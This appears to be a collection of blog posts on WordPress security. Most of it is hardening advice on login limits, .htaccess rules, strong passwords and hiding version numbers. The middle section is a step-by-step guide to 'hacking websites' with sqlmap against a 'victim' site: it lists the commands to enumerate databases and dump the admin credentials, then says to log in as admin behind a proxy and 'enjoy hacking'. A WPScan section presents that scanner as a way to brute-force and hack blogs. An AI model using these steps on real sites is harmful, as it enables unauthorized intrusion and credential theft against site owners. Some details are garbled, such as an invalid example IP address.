Tips to Improve the security of your WordPress Blog and Make Bullet Proof

Well Security is not really a massive issue until your blog starts becoming popular. If you start receiving a decent amount of traffic, your blog will become the target of online malcontents. Traffic may be turned into cash online via a large number of various (and sometimes nefarious) routes. It is good practice to start as you mean to go on and introduce blog security from the outset. Here are some tips that anyone can use, even if you are not technically/programmatically trained.

WordPress Blogs Under Botnet Attack and Prevention

All the world knows that WordPress is one of the best blogging platform ever, now due to it its Hacking is becoming common now a days. In a recent post, Matt Mullenweg posted about the recent attack on WordPress sites. This is a botnet attack, and is performing brute force attack using default WordPress login (admin). A large botnet with more than 90k servers is attempting to log in by cycling through several passwords and usernames. So lets learn more on it below-

What is Botnet Attack?

Bot master: Usually the hacker who operates all infected computer.

Zombies computer/Bot: System which are infected by the Bot master, and helps in spamming. Usually owner of computers are unaware of the fact, that they are compromised. It could be anyone computer, including yours etc.

How to Prevent WordPress from brute force attack?

1. Install Limit login attempt plugin, hence it blocks individual I.P., in this botnet attack, hackers are running the attack using 90,000+ I.P.

2. Use .htaccess to protect your admin pages and rename the login pages.

3. Change your WordPress default username also

4. Enable two-step authentication and

5. Always use a complex password etc.

That’s it! Also don’t forgot to make a backup of your blog for some extra security. Peace!

WordPress Pingback Vulnerability- New!

There is no doubt that one of the best Blogging Platform WordPress has so many vulnerabilities- some are fixed and some are yet to be discovered. This week Accunetix a web application security company reported vulnerabilities found in the Wordpress Pingback feature. According to this report, Pingback vulnerability exists in the WordPress blogging platform that could leak information and lead to distributed denial of service (DDoS) attacks mainly.

How to Hack Websites via SQL Map?

Hi friends How are you? I hope all are fine and Today by managing some time, I am going to tell you the procedure of Website Hacking using SQL Map. So first lets start with its definition. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers properly. Now to start with this tutorial all you need is 3 things as mentioned below.

1. Backtrack 5

2. Vulnerable Website

3. Little bit Mind

Procedure for Hacking Websites using SQL Map 2012

1. First of all Open your backtrack terminal and type cd /pentest/database/sqlmap and hit enter. Now sqlmap is open in your terminal
2. Now find the vulnerable site. ( In this case, I already have vulnerable site)

3. Now type this command in the terminal and hit enter. (refer above figure)

python sqlmap.py -u http://yourvictim'slink/index.php?id=4 –dbs

4. Now you will get the database name of the website

Well I got the two database aj and information_schema we will select aj database.
5. Now get the tables of that database. For that you need to enter this command into your terminal and simply press Enter.

python sqlmap.py -u http://yourvictim'slink/index.php?id=4 -D  (database name) –tables

6. Now we need to grab the tables from the aj database. paste this command below and hit enter.

python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -D aj –tables

7. Now you will get the tables list which is stored in aj database.

8. Just grab the columns from the admin table and

python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -T admin --columns

Now we got the columns and we got username and password too
9. Here we will grab the passwords of the admin

python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -T admin -U test --dump

Now we got the username and the password of the website !

Now just find the admin penal of the website and use proxy/vpn when you are trying to login in the website as a admin.

10. That's it! Enjoy hacking.

Any Comments are Welcomed Below…

Top 5 htaccess Hacks for Securing your WordPress blogs from Hackers

Now a days hackers are more concentrating on WordPress Hacking as WordPress blogs are much more vulnerable to it. I have also written an detailed post on How to secure your WordPress blogs from getting hacked previously. Now today I am going to tell you some best 5 htaccess hacks 2012 to secure your WordPress blogs from getting hacked by the hackers. You can find your .htaccess file in your web root directory. So lets Have a look and don't edit or play with these mentioned codes below.

Hack WordPress blogs easily- WPScan

Now a days WordPress hacking is becoming common and common over 2011-12. I have also mentioned some 12 useful ways to secure our WordPress blogs in effective way in my previous post. Therefore today, we will learn how to scan any WordPress blogs with WPScan which means WordPress Security Scanner to hack websites easily. First of all I would like to clear some things about WPScan. Well! WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach written in ruby language, sponsored by RandomStorm and hosted by Googlecode. It provides you an easy way to penetrate wordpress blogs using blackbox techniques and methods.

What WPScan will provide you for your hacking?

• List of plugins
• Name of theme
• Weak password cracking (multithreaded)
• Brute force username
• Directory listings
• Version details
• Possible vulnerabilities etc..

How to install WPScan?

Download:

Please download the latest version of WPScan from our Subversion (SVN) code repository by issuing the following command:

svn checkout http://wpscan.googlecode.com/svn/trunk/ ./wpscan

Done!

Top 10 Killer Tips to Secure Your WordPress Blogs From Getting Hacked

Now a days many of the blogs are hosted on WordPress due to its large number of features like plugins, login system, up gradation etc.. But the only thing lacked is that WordPress offers low Security enhancement and possibility of getting hacked by the hackers. Last night, I am searching on Google to find out some cool and useful tips to secure our WordPress Blogs to high level, but the only thing I get is “disappointment”. So today, I am going to explain some killer tips and tricks on WP-Config File,Brute force attacks,WordPress plugins, Security and even on its Version also. Have Fun @!

 

1. Upgrade to the latest version of WordPress

Hence the latest version of WordPress always comes with fixtures in  bugs and security vulnerabilities, therefore it is important to keep yourself updated at all times. Currently its new version is 3.2.

2. Use Strong Passwords

Make sure you have used a strong password for your login which makes it difficult for others to guess it. Use a combination of digits, special characters and upper/lower case to combine your password.

3. Back up Your data Regularly

It doesn’t matter how secure your WordPress blog is, build a habit to backup your data regularly for some extra security by installing a plugin named as wp-database-backup.

4. Security Scan is must

Install the wp-security-scan plugin and perform a regular scan of your blog for some security loopholes.

5. Use Secret Keys in Your WP-Config File

In WordPress, the wp-config.php file is the file that stores the information about the database of your blog mainly. This file contains the name, address and password of the MySQL database that stores all of your user info, blog posts and other important content.

Using a secret key, you can make it even more difficult for someone to gain access to your account.

6. Always remove your WordPress Version info

According to Matt Cutts presentation – remove the tag in your header.php that displays the current version of your WordPress blog. It’s:

<meta name=”generator” content=”WordPress <?php bloginfo(’version’); ?>” />

Or, you can just modify it so that the version number isn’t displayed, to something like

<meta name=”generator” content=”Powered by WordPress” />

7. Encrypt your Login

Whenever you try to login to your website, your password is sent unencrypted. If you are on a public network, hacker can easily ‘sniff’ out your login credential using network sniffer. The best way is to encrypt your login with the Chap Secure Login plugin. This plugin adds a random hash to your password and authenticate your login with the CHAP protocol. You can also use the AskApache Password Protect plugin which adds a 2nd layer of security to your blog by requiring a username and password to access anything in the /wp-admin/ folder.

8. Protect your wp-admin folder

You may just add a ht.access access to your Wp admin folder which restricts access by blocking all ip addresses expect the one who uses. Note- please place this file in admin folder only not in the root directory of your WordPress blog.

order deny,allow
deny from all
allow from 255.168.088.59

change 255.168.088.59 to your ip address from where you are doing blogging.

9. Install Login Lockdown plugin to Stop Brute Force Attacks

If an hacker wants to crack your login password using brute force attack, then he/she gonna failed by simply installing a plugin called login lockdown which prevents or disable the login function after some bad attempts from same ip addresses.

10. Hiding your Plugins

Again, from Matt Cutts point of view – put a blank index.html file in your /wp-content/plugins/ directory in order to hide up your used plugins from others. By default, you can actually view the contents of this folder, so everyone in this world knows about the plugins you have installed.

Done !

Stay Connected with Us

If you want to remain update with these cool tips and tutorials at our blog, then kindly submit your email address below and get in touch with us. Note- After Submitting your email id below, please check you inbox and activate your feeds also for that.